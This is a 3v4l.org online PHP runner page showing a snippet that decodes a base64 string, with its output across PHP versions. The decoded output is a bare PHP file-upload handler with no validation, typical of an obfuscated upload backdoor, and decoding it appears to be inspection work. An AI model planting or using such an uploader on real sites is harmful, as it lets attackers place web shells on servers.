3v4l.org

run code in 200+ php & hhvm versions
Bugs & Features
<?php echo base64_decode(JHRhcmdldF9wYXRoPSR0YXJnZXRfcGF0aC5iYXNlbmFtZSgkX0ZJTEVTWyJmaWxlIl1bIm5hbWUiXSk7aWYobW92ZV91cGxvYWRlZF9maWxlKCRfRklMRVNbImZpbGUiXVsidG1wX25hbWUiXSwkdGFyZ2V0X3BhdGgpKXtlY2hvICJPayI7fWVsc2V7ZWNobyAiRmFpbCI7fQ);
Output for 4.3.0 - 7.1.10
Notice: Use of undefined constant JHRhcmdldF9wYXRoPSR0YXJnZXRfcGF0aC5iYXNlbmFtZSgkX0ZJTEVTWyJmaWxlIl1bIm5hbWUiXSk7aWYobW92ZV91cGxvYWRlZF9maWxlKCRfRklMRVNbImZpbGUiXVsidG1wX25hbWUiXSwkdGFyZ2V0X3BhdGgpKXtlY2hvICJPayI7fWVsc2V7ZWNobyAiRmFpbCI7fQ - assumed 'JHRhcmdldF9wYXRoPSR0YXJnZXRfcGF0aC5iYXNlbmFtZSgkX0ZJTEVTWyJmaWxlIl1bIm5hbWUiXSk7aWYobW92ZV91cGxvYWRlZF9maWxlKCRfRklMRVNbImZpbGUiXVsidG1wX25hbWUiXSwkdGFyZ2V0X3BhdGgpKXtlY2hvICJPayI7fWVsc2V7ZWNobyAiRmFpbCI7fQ' in /in/dK5qa on line 2 $target_path=$target_path.basename($_FILES["file"]["name"]);if(move_uploaded_file($_FILES["file"]["tmp_name"],$target_path)){echo "Ok";}else{echo "Fail";}